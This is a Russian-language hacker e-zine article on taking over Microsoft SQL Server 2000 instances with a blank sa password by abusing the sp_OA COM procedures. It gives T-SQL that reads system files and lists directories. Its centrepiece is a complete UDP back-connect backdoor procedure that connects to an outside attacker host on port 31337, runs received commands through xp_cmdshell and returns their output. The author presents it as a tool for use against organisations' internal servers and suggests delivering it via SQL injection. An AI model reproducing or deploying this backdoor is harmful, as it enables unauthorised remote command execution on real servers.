Как-то наткнувшись в очередной раз на MSSQL-2000 с неустановленным для sa паролем, я хотел уж было привычным скриптом залить бэкдор (через использование ftp.exe) - но мне стало вдруг интересно а возможно написать бэкдор на самом языке SQL - те что бы код выполняться от процесса сервера. Тк данный сервер находился внутри сети организации и не имел внешнего ип адреса - то я стал писать back-connect бэкдор.
В базе данных master SQL Server'а есть несколько интересных хранимых процедур, предназначенных для доступа к COM объектам. А как известно COM технология - это подарок от ребят из microsoft для всех хакеров. Поэтому грех не воспользоваться ей в своих целях ;) Всего существуют 6 процедур:
- sp_OACreate - создаёт экземпляр COM объекта
- sp_OADestroy - освобождает память, занимаемую созданным объектом
- sp_OAGetErrorInfo - информация об ошибке
- sp_OAGetProperty - получает значение свойства объекта
- sp_OAMethod - вызывет метод
- sp_OASetProperty - устанавливает свойства
Рассмотрим подробнее все процедуры и то как мы их можем использовать в нашей нелёгкой деятельности...
sp_OACreate progid, | clsid, objecttoken OUTPUT [, contex]
Первый параметр - это идентификатор существующего объекта. Это может быть либо программный идентификатор (progid) или идеентификатор класса (clsid). Удобнее конечно е пользоваться програмными идентификаторами, которые задются в форме OLEКомпонент.объект
Во втором параметре (objecttoken) нам возвратится идентификатор объекта, который мы должны использовать в остальных функциях для ссылке на этот объект (имеет тип int).
Третий параметр указывает адресное пространство в котором будет выполняться COM-объект - значение 1 указывает что объект будет выполняться в адресном пространстве SQL сервера (in-process), а значение 4 - в собственном адресном пространстве (out-of-process). Так же есть значение 5, которое разрешает оба режима. Разница в том что in-process выполняется быстрее, а out-of-process по идее более безопасный метод. Если значение 4 явно не заданно - то объект выполняется в адресном пространстве SQL сервера.
sp_OADestroy objecttoken
Естественно что SQL сервер сам почистит объекты, но правила хорошего тона диктуют необходимость такой процедуры, единственный параметр - идентификатор объекта, полученный вызовом sp_OACreate
sp_OAGetProperty objecttoken, propertyname [, propertyvalue OUTPUT] [, index ...]
Первый параметр - эт идентификатор объекта, второй строка, содержащая имя свойства. В третьем возвращается значение свойства (его тип должен соответвовать типу данных свойства). Параметр index используется для чтения индексированных свойств.
sp_OASetProperty objecttoken, propertyname, newvalue [, index ...]
Первый параметр - эт идентификатор объекта, второй строка, содержащая имя свойства. Третий параметр это новое значение свойства, а index используется для установки индексируемых свойств.
sp_OAMethod objecttoken, methodname [ ,returnvalue OUTPUT ] [ , [@parametername=] parametr [OUTPUT] [...n] ]
Первый параметр ессно это идентификатор, во втором параметре задаётся имя метода и его параметры. В третьем процедура возвращает значение, которое вернёт вызванный метод. Четвёртый параметр будет содержать значения выходных параметров. Поэтому для него нужно задать столько переменных сколько у метода выходных параметров.
Если метод возвращает объект - то тип returnvalue лучше задавать int - с целью последующего использования объектов в процедурах sp_OA.
sp_OAGetErrorInfo [objecttoken] [, source OUTPUT] [, description OUTPUT] [,helpfile OUTPUT] [, helpid OUTPUT]
Соответвенно первый входной параметр традиционно у нас идентификатор объекта, а остальные параметры выходные - это переменные любого символьного типа. В них вернётся имя источника ошибки, описание ошибки, имя help файла OLE объекта, и contex id соответвующий странице в файле справки.
Вот и наш основной арсенал. Не много, но достаточно =)
Например пошаримся по файловой системе. Для этого используем объект Scripting.filesystemobject. Так мы можем прочитать файл:
declare @fso int, @file int, @ret int
declare @line varchar(8000)
exec sp_OACreate 'scripting.filesystemobject', @fso out
exec sp_OAMethod @fso, 'opentextfile', @file out, 'c:\boot.ini', 1
exec @ret = sp_OAMethod @file, 'readline', @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_OAMethod @file, 'readline', @line out
end
К сожалению работать с объектами типа Dictionary нормально мне не удалось (к которым в итоге и относятся объекты по работе с файловой системой). Так такой простой код на VB:
Set d = CreateObject("Scripting.Dictionary")
d.Add "a", "Athens" ' Add some keys and items.
d.Add "b", "Belgrade"
d.Add "c", "Cairo"
For each a in d
' do some shit
...
Next
перевести на SQL неудалось из-за невозможности повторить цикл for each =( Остаётся ещё свойство Item - но в лучших традициях VB для доступа к нему требуется указать полное имя, а не индекс - те Item ("bla") вместо нормального Item(1).
Однако мы можем выполнить этот код через срипт на VB - который запустим через COM Объект MSScriptControl.ScriptControl, вот пример листинга директории:
declare @hr int, @script_object int
declare @script_text varchar(8000)
declare @paramOut varchar(8000)
set @script_text = '
function Main ()
Set fso=CreateObject("Scripting.FileSystemObject")
Set objFso=fso.GetFolder("C:\")
Set fileList=objFso.Files
ret = ""
For Each j In fileList
ret = ret + ";"+j.name
Next
Set fso = Nothing
Main = ret+";"
end function'
-- create VB script
exec @hr = sp_OACreate 'MSScriptControl.ScriptControl', @script_object out
if @hr <> 0 goto SCR_ERROR
exec @hr = sp_OASetProperty @script_object, 'Language', 'VBScript'
if @hr <> 0 goto SCR_ERROR
exec @hr = sp_OAMethod @script_object, 'AddCode', NULL, @script_text
if @hr <> 0 goto SCR_ERROR
-- run script:
exec @hr = sp_OAMethod @script_object, 'Run', @paramOut OUT, 'Main'
if @hr <> 0 goto SCR_ERROR
select @paramOut
goto OK
-- error
SCR_ERROR:
exec sp_OAGetErrorInfo @script_object, @src OUT, @desc OUT
select hr=CONVERT (VARBINARY(4), @hr), Source=@src, Description=@desc
OK:
Как видите всё очень просто - мы устанавливаем язык (свойство Laguage = VBScript), добавляем код через метод AddCode и вызываем его через метод Run.
Теперь пора поговорить о правах. Для использования sp_OA необходимо иметь права sysadmin, что конечно в реальном мире встречается редко (но всё же встречается ;). Однако есть и хорошая новость - по дефолту SQL сервер запускается с учёткой SYSTEM, с пустым паролем для пользователя sa и со всеми вытекающими правами ;)
И наконец, леди и джентельмены собственно то ради чего вы прочитали всё что написанно выше - бэкдор:
-- Simple UDP back-connect MS-SQL backdoor
-- Special for MaZaFaKa.Ru E-zine #5
create procedure pUDPBackDoor
as
-- variables
declare @message varchar(255), @temp varchar(255)
declare @mb varbinary(255)
declare @hr int , @obj int, @state int
declare @src varchar(255), @desc varchar(255)
declare @chdir varchar(255)
-- temp table
create table #t (
id int identity,
result varchar(255) NULL,
primary key (id)
)
-- cursor for table data
declare TableData cursor for
select result from #t
for read only
-- init winsock
exec @hr=sp_OACreate 'MSWinSock.Winsock', @obj OUT
if @hr <> 0 goto ERROR
exec @hr=sp_OASetProperty @obj, 'Protocol',1
if @hr <> 0 goto ERROR
exec @hr=sp_OASetProperty @obj, 'RemoteHost','angry.hacker.microsoft.com'
if @hr <> 0 goto ERROR
exec @hr=sp_OASetProperty @obj, 'RemotePort',31337
if @hr <> 0 goto ERROR
-- send welcome message
set @message = 'Hello'
set @temp = (select @message)
set @mb=cast(@message as varbinary(255))
exec @hr=sp_OAMethod @obj,'SendData',NULL,@mb
if @hr <> 0 goto ERROR
set @state = 3 -- wait for command mode / show cmd
-- current dir support
insert #t exec master..xp_cmdshell 'chdir'
set @chdir = (select top 1 'cd '+result from #t)
delete from #t
-- main loop
while (1 = 1)
begin
if @state = 3
begin
set @state = 2
-- create console
set @message = ( select replace (@chdir, 'cd ', '')+'>')
set @mb = cast (@message as varbinary(255))
exec @hr=sp_OAMethod @obj,'SendData',NULL,@mb
if @hr <> 0 goto ERROR
end
-- recv block
set @mb = 0
exec @hr=sp_OAMethod @obj,'GetData', NULL, @mb out, 255
if @hr <> 0 goto ERROR
-- convert data
set @message = cast (@mb as varchar(255))
set @message = (select replace (@message, char(10), ''))
set @message = (select replace (@message, char(13), ''))
-- command block:
if @message = 'quit' break -- goodbuy
if (@message like 'cd %')
begin
set @chdir = (select @message) -- save cd command
set @state = 3
end
if (@message <> '') and (@message<>@temp) and (@message not like 'cd %')
begin
-- save last cmd
set @temp = (select @message)
-- exec shell
set @message = (select @chdir+' && '+@message) -- cd current dir + command
insert #t exec master..xp_cmdshell @message
-- send data mode
set @state = 1
end
-- send block
if (@state = 1)
begin
-- send all from table
open TableData
while (1 = 1)
begin
fetch next from TableData
into @message
if @@FETCH_STATUS <> 0 break
-- format and send
set @message = (select @message+char(10)+char(13))
set @mb = cast (@message as varbinary(255))
exec @hr=sp_OAMethod @obj,'SendData',NULL,@mb
if @hr <> 0 goto ERROR
end
close TableData
set @state = 3 --recv data mode
delete from #t --delete temp data
end
WAITFOR DELAY '000:00:1'
end
-- clear object
exec @hr = sp_OADestroy @obj
if @hr <> 0 goto ERROR
goto OK
-- error for localhost test only !!!!
ERROR:
--exec sp_OAGetErrorInfo @obj, @src OUT, @desc OUT
--select hr=CONVERT (VARBINARY(4), @hr), Source=@src, Description=@desc
-- clear temp data
OK:
drop table #t
deallocate TableData
GO
WAITFOR TIME '20:30'
exec pUDPBackDoor
GO
Данный скрипт создаёт хранимую процедуру pUDPBackDoor (бэкдор), ожидает 20:30 и запускает бэкдор. Код для удаления слев ввиде процедуре думаю все (кто владеет языком SQL) смогут написать сами. Давайте разберём бэкдор подробнее - при объялениии переменных мы создаём временную таблицу - она будет хранить результаты выполнения команд и курсор для выборки данных из неё.
Для работы по сети мы используем объект MSWinSock.Winsock - после его создани указываем что будем использовать UDP - устанавливаем свойсво Protocol = 1, а так же помещаем в RemoteHost и RemotePort - значения хоста к которому мы совершаем коннект и номер порта. Далее мы используем метод SendData для отправки "приглашения" - братите внимание перед отправкой мы преобразуем сообщение в тип varbinary, ибо если используется бинарный тип - то всё передётя as is, если же использовать строковый тип - то почему то передаётся указатель....
Тк это простой бэкдор - то мы не будем заморачиваться с выполнением команд через COM объекты - а будем выполнять команды через вызов master..xp_cmdshell (если ваш аккаунт не имеет прав для доступа к этой процедуре - то вам придётся написать несколько If-else блоков для повторения основных команд через COM объект Scripting.filesystemobject - примеры смотри выше).
В данном скрипте переменная @state - отвечает за текущее состояние - возможные значения:
- 1 - нам надо послать данные
- 2 - ничего не делаем
- 3 - создаём приглашение консоли - те что бы отображался путь - необязательное украшательство - но удобно =)
Так же в скрипт включеа поддержка команды cd (так же занимает довольно большо кусок, который можно выкинуть) - всё что она делает это запомнает текущую дирекрию и перед получнием новой команды выполняет cd Dir && New_Cmd
Тк результат выполнения master..xp_cmdshell заносится в таблицу - то нам надо его от туда извлеч и отправить назад - для этого воспользуемся курсором. Ну и в завершение скрипта прикручен вывод ошибок (если надо).
Возможно ли внедерение такого кода через SQL-injection ? а то =) Для этого советую доки и линки:
Links
- SQL Book Online (хотя и зовётся онлайн - но почемуто входит в состав MSSQL сервера ввиде справки)
- http://www.sql.ru и в частности http://www.sql.ru/faq/faq_topic.aspx?fid=104 - Динамический запрос или "переменная @Tablename" by Glory
- Advanced SQL Injection In SQL Server Applications by Chris Anley http://www.ngssoftware.com
- (more) Advanced SQL Injection by Chris Anley http://www.ngssoftware.com